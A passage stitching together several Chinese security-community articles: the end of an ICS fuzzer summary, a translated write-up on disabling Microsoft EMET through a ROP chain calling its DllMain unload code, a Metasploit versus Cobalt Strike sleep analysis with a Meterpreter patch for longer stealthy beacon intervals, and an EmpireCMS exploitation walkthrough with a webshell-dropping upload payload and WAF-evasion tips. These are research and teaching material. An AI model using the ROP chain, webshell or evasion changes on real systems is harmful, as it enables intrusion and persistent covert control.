由于本论文具有通用性，所以不专门分析特定ICS protocol的输入状态，而是建立维护一个state-book，其中包括code execution
trace以及corresponding inputs，并不需要回复输入状态的特殊语义。
具体通过DynamoRIO插桩实现trace收集，并且只record/dump在消息传输阶段的message
transmission（通过hook以及track send()以及recv()）。因此在state-book中的每一个input
state都对应着一个tuple，包括original message，execution trace，以及index。
#### Device Emulation
为了不被具体的硬件限制，论文选择基于获取到的报文模拟communication。
具有两个挑战：
1. 当supervisory software初始化一个request时，需要根据抓取到的报文识别出对应的response.
2. 需要调整对应报文中的动态字段。
对应上述挑战的解决办法：
1. 设备中的request-response一般是非常相似的，可以根据抓取的报文建立对应关系。
2. 根据人工总结的经验，加上人工分析，识别定义出报文中的动态变化字段。
如果上述办法仍然不能获取对应的response，那么就需要借助于真是的PLC device。最终ICS3Fuzzer可以对每个supervisory
software的request产生对用的response。
### State Selection
对state-book中记录的input state中的三个属性，index、execution trace、original
message，赋予权重，所以每一个input state都具有一个权重，那么权重就可以代表每一个input state的价值。
权重的考量基于三个hypotheses:
1. 网络通信越深，越有可能触发bug
2. 当message呗转发给software，那么越多的BB被触发，越有可能存在bug
3. input越复杂，越有可能造成crash
对应上述三个hypotheses的具体做法：
1. 使用index代表depth。但是同时需要注意消除具有相似的state，比如导致复的行为，具体来说即相似的报文以及程序执行路径。
2. 与AFL等基于反馈的fuzzer一致
3. 输入越复杂，编译越多样，就有可能触发新的执行路径，具体使用message内被定义的字段数来代表复杂度。
最终选取state depth、basic blocks count、field count来代表上述三个hypotheses，最终计算出state
weight。
### Input Generation
此步骤利用获取的protocol format来生成变异的输入，主要完成两个任务：
1. 根据你想得到的protocol format生成输入
2. 根据得到的约束关系纠正报文字段。
### Data Feeding
fuzzing supervisory software需要同步网络输入以及GUI操作，此论文通过proxy机制来实现了这一目标。
包含了Dispatcher、GUI Proxy、Traffic Proxy，Dispatcher通过给traffic
proxy发送command来关系network traffic，通过给GUI
proxy发送command来关系GUI操作，自动化的实现了fuzzing的输入.
### Crash Monitor
基于Windows EventLog Service来做。
没考虑由于程序挂起（program hang）导致的bug。
### Manual Work
需要人工工作来完成预处理过程，以解决GUI操作以及protocol先验知识，主要包括四个方面：
1. exploring GUI interface
2. writing activators
3. obtaining protocol knowledge，包括状态空间收集、报文template获取、协议格式逆向
4. verifying the accuracy of the analysis. | 社区文章 |
# 【技术分享】利用EMET漏洞来禁用EMET保护
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：[https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html?utm_source=tuicool&utm_medium=referral](https://www.fireeye.com/blog/threat-research/2016/02/using_emet_to_disabl.html?utm_source=tuicool&utm_medium=referral)
译文仅供参考，具体内容表达以及含义原文为准。
**翻译：**[ **Ox9A82**](http://bobao.360.cn/member/contribute?uid=2676915949)
**预估稿费：160RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
Microsoft开发的增强减灾体验工具包（EMET）是一种为用户模式程序添加安全缓解措施的项目，而不是内置于操作系统中的程序。
它是作为动态链接库（DLL）在“受保护”程序中运行的，通过对代码进行各种更改，以使得漏洞利用变得更加困难。
在过去的研究和实际攻击中已经观察到了EMET缓解措施被绕过的情况[2,3,4,5,6,7,8]。
通常，Microsoft通过更改或添加缓解措施来作为应对，以击败任何现有的绕过手段。
EMET旨在提高exploit开发者的开发成本，而不是一个“傻瓜防御利用缓解解决方案”[1]。
因此，毫不奇怪，在受保护程序的进程空间内具有读/写能力的攻击者可以通过逐条的击败每个缓解措施来绕过EMET [2]。
如果攻击者可以通过很少的工作来绕过EMET，那么就已经挫败了EMET增加expoit开发者成本的目的。我们在禁用EMET的新技术部分就提出了一个这样的技术。Microsoft已经发布了一个修补程序来解决EMET
5.5中的此问题。
在讲解这种新技术之后，我们又讲述了一些以前的用于绕过或者禁用EMET的技术。如果想知道EMET具体包含了什么样的保护，请参见附录。
**
**
**一种可以禁用EMET的新技术**
EMET将emet.dll或emet64.dll（取决于是x64还是x86）注入到每个受保护的进程中，该进程安装Windows API
Hook（由DLL例如kernel32.dll、ntdll.dll和kernelbase.dll导出的函数）。
这些钩子使EMET能够分析关键API中的任何代码调用，并确定它们是否合法。 如果代码被认为是合法的，EMET挂钩代码跳回到请求的API，否则就会触发异常。
然而，在EMET中存在着负责卸载EMET的代码。这些代码系统地禁用EMET的保护并将程序设置回到以前未受保护的状态。只需定位并调用此函数即可完全的禁用EMET。
在EMET.dll v5.2.0.1中，此函数位于偏移量0x65813。 跳转到此函数将导致后续调用，从而删除EMET已安装的Hook。
此功能之所以存在，是因为emet.dll需要包含从进程干净退出的代码。而且很方便的是，它可以从DllMain被调用。
DllMain的函数原型如下：
BOOL WINAPI DllMain(
_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved
);
第一个参数是此DLL模块加载到的基地址。 第二个参数提供了PE加载器在DLL加载或卸载时使用的参数，1或0。
如果fdwReason为1，则DLL知道它正在加载和初始化。
如果fdwReason参数为0（DLL_PROCESS_DETACH），则emet.dll会执行卸载代码，假设Dll被卸载那么他就会删除它自己设置的钩子和异常处理程序，从而简单地删除EMET的检查机制。
注意，这不会从内存中删除EMET模块，它只是确保其所有的保护都被禁用。
这种特性可以存在于任何的检测产品中，因为它依赖于用户空间的Hook，并且为了保证产品不会挂掉，必须有一个卸载例程来去除所有之前设置的保护检查。
EMET的DllMain可以通过一个小的ROP
gadgets链找到（下一节会讲这个）。它只是跳到DllMain，并且带着正确的参数去卸载EMET设置的保护检查。
BOOL WINAPI DllMain (GetModuleHandleA("EMET.dll") , DLL_PROCESS_DETACH ,
NULL);
GetModuleHandleA函数并没有被EMET Hook，因为EMET不认为它是关键的Windows API。
我们使用这个函数来获取emet.dll的基地址。 由于PE头位于基址，我们必须使用它来传递给DllMain正确的第一个参数。
**禁用EMET – 详解**
删除EMET钩子的功能代码位于偏移量0x27298处（相对于模块基地址），如下图所示。
首先，函数循环遍历所有Detoured_API结构体，并且为每个关联的Detoured_API_Config结构体清零DetourFunctionPrologue域（下面展示了结构体的结构）。
Detoured_API结构体（如下所述）是一个链接列表，用于跟踪API是否主动绕行（就是是否使用Hook），并且指向有DetouredAPIConfig：
struct Detoured_API {
BOOL isActive; // 是否启用？，值为1时启用
PVOID DetouredAPIConfig; // 指向Detoured_API_Config结构的指针
PVOID nextDetouredAPI; // 指向下一个Detoured_API结构的指针
};
Detoured_API_Config结构（部分显示如下）存储关于绕行和其原始API的信息。
struct Detoured_API_Config {
PVOID DetouredWindowsAPI; //指向绕行的Windows API的指针
PVOID EMETDetouringFunction; // 指向EMET保护实现的函数
PVOID DetouredFunctionPrologue; // 指向Windows API序列的指针
...
}
对于每个Hook_Config，Patch_Functions恢复原始API的序列，如图2所示.Patch_Functions从EMETDetouringFunction检索原始函数序列的大小和地址，并将值传递给memcpy。
在每个API恢复到其原始状态后，Patch_Functions将ptrEffectiveFunction更改为直接指向原始API。
在循环遍历所有的detoured API并使用memcpy修补它们之后，你会发现Windows
API中的所有跳转路径都已经消失了，如下面两张图所示，分别是在修复前后。
修复前
修复后
然后EMET会紧接着禁用EAF和EAF+保护，在偏移量为0x609D0的函数中，EMET将清零并重新初始化CONTEXT结构，并操作调试寄存器（如下图所示）。
然而，在函数结束时，EMET又调用了NtSetContextThread函数，这会导致调零寄存器置零，因此EAF
和EAF+保护都会被禁用掉。
最后，在偏移为0x60FBF的函数结束时，EMET调用了位于偏移0x60810的函数，那个函数又会调用RemoveVectoredExceptionHandler来删除之前被AddVectoredExceptionHandler函数添加的向量化异常处理（VEH）。
**禁用EMET – 通过ROP实现**
这里使用一个以前的漏洞CVE-2011-2371来演示，目前这个漏洞已经被修补了。我们在现有的漏洞exp上添加了rop
gadgets，然后在启用EMET保护的情况下执行。当我们的ROP
gadgets使用参数（EMET.dll基地址，0，0）来调用EMET.dll的DllMain函数之后，我们返回继续执行，所有放置在Windows API
Hook中的跳转路径与EAF和EAF+保护一起都消失了。
MOV ESP,44090000 # ~ # RETN // STACKPIVOT
POP EAX # RETN // STORE GetModuleHandleA IAT POINTER INTO EAX
MOZCRT19+0x79010 // MOZCRT19!_imp__GetModuleHandleA
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET GetModuleHandleA ADDRESS
PUSH EAX # RETN # // Call GetModuleHandleA("EMET.dll")
Return Address XOR EDX,EDX # RETN // ZERO OUT ECX
0x44090108 // "EMET" STRING ADDRESS (GetModuleHandleA PARAMETER)
OR EDX,EAX # ~ # RETN // STORE EMET.dll EMET_BASE_ADDRESS INTO EDX
POP EBX # RETN // STORE DllMain() PARAMETER1 ADDRESS (i.e. hinstDLL) INTO EBX
0x440900A4 // DllMain() PARAMETER1 (i.e. hinstDLL) ADDRESS
MOV DWORD PTR DS:[EBX],EAX # ~ # RETN // hinstDLL PATCH WITH EMET_BASE_ADDRESS
POP ECX # RETN # // STORE 0x3C (i.e. IMAGE_DOS_HEADER) INTO ECX
0x0000003C // IMAGE_DOS_HEADER OFFSET
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+0x3C
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET PE_HEADER OFFSET
POP ECX # RETN # // STORE AddressOfEntryPoint OFFSET INTO ECX
0x00000028 // AddressOfEntryPoint OFFSET
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+PE_HEADER+0x28
MOV EAX,DWORD PTR DS:[EAX] # RETN // GET DllMain() OFFSET
POP ECX # RETN # // ZERO OUT ECX
0x00000000
ADD ECX,EDX # ADD EAX,ECX # ~ # RETN // EAX = EMET_BASE_ADDRESS+DllMain
Call EAX // CALL DllMain(GetModuleHandleA("EMET.dll") , DLL_PROCESS_DETACH , NULL)
0x42424242 // hinstDLL = GetModuleHandleA("EMET.dll") (TO BE PATCHED)
0x00000000 // fdwReason = DLL_PROCESS_DETACH
0x00000000 // lpvReserved = 0x00000000
**在此之前的EMET绕过技术**
以前的绕过EMET保护的技术通常是利用设计或者是代码实现的缺陷，EMET之所以可能会被绕过是因为一些模块或是API被设计者忽略了，并且这些模块和API都很不安全。我们在这里将描述部分这些绕过技术。
由于LoadLibrary是一个关键的API，所以如果它被一个ret或jmp指令调用，那么EMET 4.1就会引发一个异常。但是Jared
DeMott发现如果通过call指令调用LoadLibrary ，而不是ret或jmp那么就可以成功的绕过EMET LoadLibrary保护[2]。
EMET会监视LoadLibrary API来防止加载UNC路径（即\ evil bad.dll）。 但是Aaron
Portnoy表明，这可以通过使用MoveFile API（这个函数没有被EMET 4.0监控）下载一个DLL文件，然后再由LoadLibrary
API加载，从而绕过EMET。
EMET
4.1中的调用者保护会检查关键的API函数是被call指令调用，还是被ret指令或jmp指令调用的。因为后两种调用是ROP的常用手段，所以这种保护措施用于阻止攻击者进行ROP。
DeMott展示了通过一个合法的call来调用关键API函数从而绕过调用者保护的方法[2]。
DeMott并没有使用ret或jmp指令（这将导致EMET引发异常）直接调用VirtualAlloc
API，而是在加载的模块之中找到一个对VirtualAlloc API的call调用指令，然后返回到该call指令的地址，EMET就不再会阻止函数的调用。
一些关键的Windows API函数位于kernel32.dll，ntdll.dll和kernelbase.dll模块中; EMET
3.5Hook了前两个模块导出的函数，但是却忘记了kernelbase.dll。 Shahriyar
Jalayeri通过这一点来执行位于kernelbase模块中的VirtualProtect API，使内存变的可写和可执行[4]。但是，在EMET
4.0发布后，Deep Hooks保护会Hook住关键Windows API函数所调用的最底层函数。
Jalayeri还通过使用位于0x7ffe0000的_KUSER_SHARED_DATA结构（其具有固定地址）绕过EMET，这个结构在偏移0x300处存在指向KiFastSystemCall的SystemCallStub指针，这是一种执行sysenter指令的典型方式。这样，他能够通过在EAX寄存器中指定值的方式来调用任何系统调用（例如，ZwProtectVirtualMemory是0x0D7）。此外，Jalayeri能够通过用ret指令修改函数头的方式来使EMET完全失效。
EAF保护在我们访问指定模块（例如kernel32.dll，ntdll.dll和kernelbase.dll）中导出的函数时会使用调试寄存器来设置断点。可以使用访问导入表的shellcode来绕过这些断点保护（因为此保护仅保护了导出表）。
**
**
**上一个EMET禁用技术**
与保护的bypass技术不同，禁用EMET会完全关闭它所有的保护。例如，可以通过清除硬件断点（即清零调试寄存器）来禁用EAF保护（包括EAF+）。Piotr
Bania使用未公开的Windows API
NtSetContextThread和NtContinue来实现这一点，但是由于NtSetContextThread已经被EMET钩住，所以应该首先禁用其他EMET保护使NtSetContextThread可用。
Offensive Security发现大多数的EMET
4.1保护首先会检查emet.dll模块中导出的偏移为0x0007E220的全局变量值;如果该变量的值为零，则保护主体继续运行但是不会干涉攻击者执行代码[6]。事实证明，全局变量是用于打开/关闭EMET保护的全局开关，并且这个值处于可写数据段中，攻击者可以通过创建ROP
gadgets来轻松地清零该变量。
在做了一些分析之后，我们发现EMET
v2.1在偏移0xC410处拥有相同的全局开关，出于这个原因，我们怀疑EMET早期版本具有相同的全局开关的弱点，并且这个全局变量是在固定的地址上。这是EMET
5.0发布之前的情况。
Offensive Security发现，在EMET
5.0中，微软把这个全局变量放在一个大型的堆中结构体（即CONFIG_STRUCT）上，结构体的大小为0x560字节。然而，相同的思想仍然适用，因为存在指向CONFIG_STRUCT结构的指针位于固定偏移0x0AA84C处。作为保护，EMET使用EncodePointer函数对该指针值进行编码，并且每次EMET保护要使用该值时，它将使用DecodePointer函数对其进行解码，以获取CONFIG_STRUCT地址。清零CONFIG_STRUCT
+ 0x558将关闭大多数EMET保护。此外，要关闭EAF和EAF +，他们使用存储在CONFIG_STRUCT +
0x518的未钩指针指向NtSetContextThread。
在EMET 5.1中，攻击安全发现全局变量将编码的指针值保存到某个结构（即EMETd），该结构存储在偏移0xF2A30中。
EMETd结构具有指向CONFIG_STRUCT结构的指针字段，其将偏移CONFIG_STRUCT + 0x558处的全局开关保持为指针的编码的附加保护层。
EMET
5.1使用cpuid指令将返回的值与编码指针的值进行XOR。要解码CONFIG_STRUCT，它们使用emet.dll偏移量0x67372中的代码，它解码EMETd结构，然后返回CONFIG_STRUCT的解码指针。由于全局开关（即CONFIG_STRUCT
+ 0x558）存储在只读存储器页中，因此Offensive
Security找到了一种方法，通过使用存储在EMET中的未挂钩指针以固定地址进行更改。他们使用一个指向存储在CONFIG_STRUCT +
0x1b8的ntdll！NtProtectVirtualMemory的未钩指针，将其标记为可写内存页，因此他们可以将CONFIG_STRUCT +
0x558处的全局开关置零。为了禁用EAF和EAF+，他们使用存储在CONFIG_STRUCT +
0x518处的指向NtSetContextThread的指针，与在禁用EMET 5.0时所做的是一样。
**结论**
这种新技术使用EMET本身来卸载EMET保护。它比以前发布的任何EMET禁用或bypass技术更加可靠，也更容易实现。整个技术适用于一个简单，直接的ROP链。它只需要通过调用GetModuleHandleA泄漏一个DLL的基地址（如mozcrt19.dll），而不需要进程空间的完全读取。因为emet.dll的DllMain函数被导出，所以这个技术不需要任何的针对版本的硬编码，并且该技术适用于所有测试版本的EMET（4.1,5.1,5.2,5.2.0.1）。
通过EMET来禁用EMET的代码包含了一个重要的新的攻击向量。找到DllMain并调用它关闭所有的EMET的保护明显比绕过每个EMETs保护更加容易。
特别感谢：Michael Sikorski，Dan Caselden，Corbin Souffrant，Genwei Jiang和Matthew
Graeber。
**附录**
**EMET保护**
近几年来，EMET已经经过了逐步的发展，在这里提供了一个简要的介绍：
**EMET 1.x, 2009年10月27日发布**
SEHOP：防止结构化异常处理SEH被覆盖和篡改。
DEP：强制的DEP，因此栈和堆等数据段不再有执行权限。
空页面保护：预分配空页面,防止攻击者对空页面进行利用。
堆喷射保护：防止进行堆喷射（其实是把常用的堆喷射内存区域预先分配了。）
**EMET 2.x，2010年9月2日发布**
强制ASLR：强制执行ASLR，即使是不支持ASLR的老旧dll模块也会被强制启用ASLR。
导出表访问过滤：有的shellcode会遍历模块的导出函数，以解析如kernel32.dll,
ntdll.dll和kernelbase.dll等模块导出的重要函数。EMET使用硬件断点来阻止访问这些模块导出表的任何线程，并且EMET会验证它们是否合法。
**EMET 3.x，2012年5月25日发布**
ROPGuard：使用ROPGuard来阻止ROP。
加载库检查：阻止通过通用命名约定（UNC）路径加载DLL文件。（ROP中会使用这种技术）
ROP缓解措施 – 内存保护检查：保护关键Windows API（如VirtualProtect），这些API可能被用于将堆栈标记为可执行。
ROP缓解措施 – 调用者检查：防止使用跳转或返回指令调用关键Windows API。
ROP缓解措施 – 堆栈翻转：检测堆栈是否已被翻转。
ROP缓解措施 – 模拟执行流程：通过操纵和跟踪堆栈寄存器，在调用关键Windows API后检测ROP Gadgets。
自底向上的ASLR：将随机化8位的熵添加到自底向上分配（包括堆，堆栈和其他内存分配）的基址。
**EMET 4.x，2013年4月18日发布**
深度Hook：启用此功能后，EMET不再只是挂钩上层的API函数，而是会一并挂钩那些上层API调用的底层函数。
反绕道：由于EMET在跳转（挂钩）Windows API函数的前言中放置跳转指令，所以攻击者可以制作一个返回到绕行跳转指令之后的指令的ROP。
此保护尝试停止这些旁路。
禁止重要函数调用：默认情况下，它不允许调用ntdll！LdrHotpatchRoutine以防止DEP / ASLR被绕过。 还可以配置其他功能。
证书信任（可配置证书锁定）：在证书链信任验证过程中提供更多的检查和验证。 默认情况下，它仅支持Internet Explorer。
**EMET 5.x，于2014年7月31日发布**
攻击面减少（ASR）：允许配置在某些应用程序中阻止加载模块的列表。
EAF +：与EAF类似，它提供了额外的功能来保护kernel32.dll，ntdll.dll和kernelbase.dll的导出表。 它还检测MZ /
PE读取以及堆栈指针是否指向堆栈边界之外的某处或者是否与堆栈指针之间不匹配。
**参考链接**
[1] “Inside EMET 4.0” by Elias Bachaalany,
<http://recon.cx/2013/slides/Recon2013-Elias%20Bachaalany-Inside%20EMET%204.pdf>
[2] “Bypassing EMET 4.1” by Jared DeMott,
<http://labs.bromium.com/2014/02/24/bypassing-emet-4-1/>
[3] “Bypassing All of The Things” by Aaron Portnoy
[4] "Bypassing EMET 3.5's ROP Mitigations" by Shahriyar Jalayeri,
<https://github.com/shjalayeri/emet_bypass>
[5] "Bypassing EMET Export Address Table Access Filtering feature" by Piotr
Bania, <http://piotrbania.com/all/articles/anti_emet_eaf.txt>
[6] "Disarming Enhanced Mitigation Experience Toolkit (EMET)" by Offensive-Security, <https://www.offensive-security.com/vulndev/disarming-enhanced-mitigation-experience-toolkit-emet/>
[7] "Disarming EMET v5.0" by Offensive-Security, <https://www.offensive-security.com/vulndev/disarming-emet-v5-0/>
[8] "Disarming and Bypassing EMET 5.1" by Offensive-Security,
<https://www.offensive-security.com/vulndev/disarming-and-bypassing-emet-5-1/> | 社区文章 |
# MSF sleep与CobaltStrike sleep
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
metasploit-framework和cobalt strike(简称CS)是当前主流的两个红队评估工具.
在红队评估过程中为了尽可能的降低暴露的风险,减少通讯流量是基本需求.巧合的是CS和metasploit-framework都是使用sleep命令进行通讯间隔控制.(MSF是在2015年[pr链接](https://github.com/rapid7/meterpreter/pull/158)加入,CS应该是在2.13版本加入).
两者实现的方法应该大同小异,但是呈现的效果有所区别.
## Cobalt Strike sleep
因为cobalt strike不开源,无法从代码层分析sleep原理.
从效果上看Cobalt Strike
sleep实现了beacon的通讯间隔控制.beacon中调用系统sleep进行休眠,teamserver实现一种消息队列,将命令存储在消息队列中.当beacon连接teamserver时读取命令并执行.
当然因为没有分析代码,以上都是从功能上进行的猜测.
## MSF Sleep
因为metasploit-framework和meterpreter都是开源的,所以我们可以从源码中分析sleep是如何工作与实现的.
### Sleep效果
* metasploit-framework的sleep会直接让session处于休眠状态,在UI上表现为session关闭,
* session指定时间后重新连接(handler未删除的情况下).
* session在重新连接后通讯间隔并不会改变
### Sleep on Metasploit-framework
Metasploit-framework代码主要来源于这个pr [链接](https://github.com/rapid7/metasploit-framework/pull/5339)
代码中主要分为两个部分,一部分是UI上的命令处理/帮助处理等
def cmd_sleep_help
print_line('Usage: sleep <time>')
print_line
print_line(' time: Number of seconds to wait (positive integer)')
print_line
print_line(' This command tells Meterpreter to go to sleep for the specified')
print_line(' number of seconds. Sleeping will result in the transport being')
print_line(' shut down and restarted after the designated timeout.')
end
#
# Handle the sleep command.
#
def cmd_sleep(*args)
if args.length == 0
cmd_sleep_help
return
end
seconds = args.shift.to_i
if seconds <= 0
cmd_sleep_help
return
end
print_status("Telling the target instance to sleep for #{seconds} seconds ...")
if client.core.transport_sleep(seconds)
print_good("Target instance has gone to sleep, terminating current session.")
client.shutdown_passive_dispatcher
shell.stop
else
print_error("Target instance failed to go to sleep.")
end
end
第二部分是具体发送到meterpreter的TLV控制
def transport_sleep(seconds)
return false if seconds == 0
request = Packet.create_request('core_transport_sleep')
# we're reusing the comms timeout setting here instead of
# creating a whole new TLV value
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
client.send_request(request)
return true
end
### Sleep on Meterpreter
Meterpreter的代码主要来源于这个pr
[链接](https://github.com/rapid7/meterpreter/pull/158/files)
因为<https://github.com/rapid7/meterpreter>已经废弃,我们后续代码都依据<https://github.com/rapid7/metasploit-payloads>进行分析.
除了常规的TLV控制外,代码的主体部分如下
// transport switching and failover both need to support the waiting functionality.
if (remote->next_transport_wait > 0)
{
dprintf("[TRANS] Sleeping for %u seconds ...", remote->next_transport_wait);
sleep(remote->next_transport_wait);
// the wait is a once-off thing, needs to be reset each time
remote->next_transport_wait = 0;
}
可以看到最终实现是使用sleep进行休眠.
休眠-重新连接流程原理 实现休眠及重新连接的代码主要来源于ruby中的
client.shutdown_passive_dispatcher shell.stop
这两行,第一行是将处理http请求的线程关闭,第二行是将session关闭.
## MSF中实现Cobalt Strike的效果
笔者个人认为msf的sleep更加符合休眠隐蔽的逻辑,Cobalt
Strike的通讯间隔方式依赖于队列/请求模型.但是现实情况是国内大多数安全人员更喜欢Cobalt Strike的模型,那我们能在MSF中实现Cobalt
Strike效果吗?
答案是肯定的.
### MSF原生通讯间隔
其实MSF本身就带有通讯间隔控制,如果你执行 session -x,会发现checkin字段会在1-10中变化.
这是因为http类型的meterpreter会最长每10秒连接一次服务器.
10秒间隔的前提是不使用session进行操作,如果使用session进行操作后,会发现心跳间隔缩短为1秒.后续停止操作,通讯间隔会慢慢递增到10秒.
### 实现原理
我们会发现meterpreter的通讯间隔控制非常巧妙,在不操作session时增大通讯间隔,在操作session后将通讯间隔缩小到最小,保证快速获取操作结果,如果停止操作通讯间隔又会慢慢增大.这样就在减小通讯流量和操作流畅性上达到平衡.
具体的代码链接 [链接](https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/metsrv/server_transport_winhttp.c)
else if (result == ERROR_BAD_CONFIGURATION)
{
// something went wrong with WinINET so break.
break;
}
delay = 10 * ecount;
if (ecount >= 10)
{
delay *= 10;
}
ecount++;
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
Sleep(min(10000, delay));
}
else
{
transport->comms_last_packet = current_unix_timestamp();
// Reset the empty count when we receive a packet
ecount = 0;
dprintf("[DISPATCH] Returned result: %d", result);
### 模拟Cobalt Strike效果
如果要模拟Cobalt Strike效果,其实只要修改Sleep(min(10000,
delay))中的delay就可以了,那我们怎么实现动态控制呢?为了尽量少改动代码,我们先借用已有的功能来帮助我们实现.
meterpreter中set_timeout是控制session的超时时间参数,我们可以借用这个参数中的wait time来实现通讯间隔控制.
代码如下:
delay = 10 * ecount;
if (ecount >= 10)
{
delay *= 10;
}
ecount++;
if (transport->timeouts.retry_wait > 60) {
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", transport->timeouts.retry_wait * 1000);
Sleep(transport->timeouts.retry_wait*1000);
}
else {
dprintf("[DISPATCH] no pending packets, sleeping for %dms...", min(10000, delay));
Sleep(min(10000, delay));
}
当retry_wait大于60时,我们就使用retry_wait作为通讯间隔参数,
* 编译代码
* 将生成的metsrv.x64.dll上传到metasploit-framework/data/meterpreter/
* 重新生成session
* 进入session后执行 set_timeout -w 61
* 我们看到通讯间隔大于10了
* 在checkin大于55时执行set_timeout -w 10,可以恢复原有通讯间隔.(因为meterpreter命令默认超时时间为10秒,所以要在checkin大于50的时候操作)
## 总结
Cobalt
Strike和MSF在sleep实现上应该大同小异,只不过呈现的效果不同,因为MSF是开源的,我们还可以通过自定义代码来实现自定义通讯间隔的功能. | 社区文章 |
# 写在最前
**先知技术社区独家发表本文，如需要转载，请先联系先知技术社区或本人授权，未经授权请勿转载。**
## 前言
本文将对EmpireCMS(帝国cms)的漏洞进行分析及复现。代码分析这一块主要还是借鉴了大佬们的一些分析思想，这里对大佬们提供的思路表示衷心的感谢。
## 环境搭建
帝国cms的默认安装路径为<http://localhost/e/install>，进入安装一直往下
到连接数据库这一步，mysql版本可以选择自动识别，也可以自己选择相应版本，这里数据库如果在本地就填写localhost（127.0.0.1）。
这里也可以选择远程连接vps的服务器，但是前提是vps上的数据库开启了远程连接
首先找到`/etc/mysql/my.conf`
找到`bind-address = 127.0.0.1`这一行注释掉（此处没有也可以忽略）
然后新建一个admin用户允许远程登录并立即应用配置即可
grant all on *.* to admin@'%' identified by '123456' with grant option;
flush privileges;
点击下一步就会自动在数据库生成一个empirecms的数据库并在其中建立许多个表
然后再设置进入后台管理员的密码
下一步即可安装完成，这里提示要删除路径避免被再次安装，但是这个地方其实设置了两层保护，即使你访问install这个路径会有一个.off文件在路径下，需要将这个.off文件删除后才能再次安装
输入设置的后台管理员用户名和密码即可进入管理员后台
## 漏洞原理及复现
### 后台getshell(CVE-2018-18086)
#### 漏洞原理
EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行。
EmpireCMS7.5版本中的`/e/class/moddofun.php`文件的`LoadInMod`函数存在安全漏洞,攻击者可利用该漏洞上传任意文件。
#### 源码分析
主要漏洞代码位置
导入模型
//导入模型
elseif($enews=="LoadInMod")
{
$file=$_FILES['file']['tmp_name'];
$file_name=$_FILES['file']['name'];
$file_type=$_FILES['file']['type'];
$file_size=$_FILES['file']['size'];
LoadInMod($_POST,$file,$file_name,$file_type,$file_size,$logininid,$loginin);
}
转到`LoadInMod`定义
在`localhost/EmpireCMS/e/class/moddofun.php`找到上传文件的定义
//上传文件
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
if(!$cp)
{
printerror("EmptyLoadInMod","");
}
DoChmodFile($path);
@include($path);
UpdateTbDefMod($tid,$tbname,$mid);
文件包含
上传文件处使用`time().makepassword(10)`进行加密文件名
//取得随机数
function make_password($pw_length){
$low_ascii_bound=48;
$upper_ascii_bound=122;
$notuse=array(58,59,60,61,62,63,64,91,92,93,94,95,96);
while($i<$pw_length)
{
if(PHP_VERSION<'4.2.0')
{
mt_srand((double)microtime()*1000000);
}
mt_srand();
$randnum=mt_rand($low_ascii_bound,$upper_ascii_bound);
if(!in_array($randnum,$notuse))
{
$password1=$password1.chr($randnum);
$i++;
}
}
return $password1;
}
下方代码`@include(\$path)`直接包含文件，因此可以通过添加创建文件的代码绕过。
#### 漏洞复现
来到导入系统模型的页面
本地准备一个`1.php`并改名为`1.php.mod`，注意这里需要用\$进行转义，存放的数据表名需要填一个数据库内没有的表名，点击上传
<?php file_put_contents("getshell.php","<?php @eval(\$_POST[cmd]); ?>");?>
导入成功后访问一下生成shell看能不能访问得到，没有报错是可以访问到的，那么证明已经上传成功了
再用蚁剑连接即可
#### 几个实战中遇到的坑
1.有waf报错500
500很容易联想到禁止web流量，那么我们上传的一句话木马默认情况下是不进行加密的，所以很容易被waf识别并拦截。
解决方法：使用蚁剑自带的base64编码器和解密器即可成功上线，这里也可以用自己的编码器和解密器绕过waf拦截
2.不能使用冰蝎、哥斯拉马
因为要在$之前加\转义，冰蝎转义后的php.mod应该如下图所示
上传到模型处就无回显
这里的话可以用哥斯拉的一句话木马进行上线尝试，这里就不再拓展了
#### 实战小技巧
如果有waf拦截web流量就走加密传输，如果始终连接不上就要一步步的进行排查。这里可以在一句话密码后面输出一个echo
123，通过是否有回显来探测哪一步没有完善导致连接不成功
### 代码注入 (CVE-2018-19462)
#### 漏洞原理
EmpireCMS7.5及之前版本中的`admindbDoSql.php`文件存在代码注入漏洞。
该漏洞源于外部输入数据构造代码段的过程中，网路系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞生成非法的代码段，修改网络系统或组件的预期的执行控制流。
主要漏洞代码位置
执行sql语句处
分析源码定位漏洞出现的位置在`localhost/EmpireCMS/e/admin/db/DoSql.php`，对`sqltext`进行`RepSqlTbpre`函数处理
//运行SQL语句
function ExecSql($id,$userid,$username){
global $empire,$dbtbpre;
$id=(int)$id;
if(empty($id))
{
printerror('EmptyExecSqlid','');
}
$r=$empire->fetch1("select sqltext from {$dbtbpre}enewssql where id='$id'");
if(!$r['sqltext'])
{
printerror('EmptyExecSqlid','');
}
$query=RepSqlTbpre($r['sqltext']);
DoRunQuery($query);
//操作日志
insert_dolog("query=".$query);
printerror("DoExecSqlSuccess","ListSql.php".hReturnEcmsHashStrHref2(1));
}
转到定义`RepSqlTbpre`，发现只对表的前缀做了替换
//替换表前缀
function RepSqlTbpre($sql){
global $dbtbpre;
$sql=str_replace('[!db.pre!]',$dbtbpre,$sql);
return $sql;
}
转到定义`DoRunQuery`，对$query进行处理。
对$sql参数只做了去除空格、以;分隔然后遍历,没有做别的限制和过滤,导致可以执行恶意的sql语句
//运行SQL
function DoRunQuery($sql){
global $empire;
$sql=str_replace("\r","\n",$sql);
$ret=array();
$num=0;
foreach(explode(";\n",trim($sql)) as $query)
{
$queries=explode("\n",trim($query));
foreach($queries as $query)
{
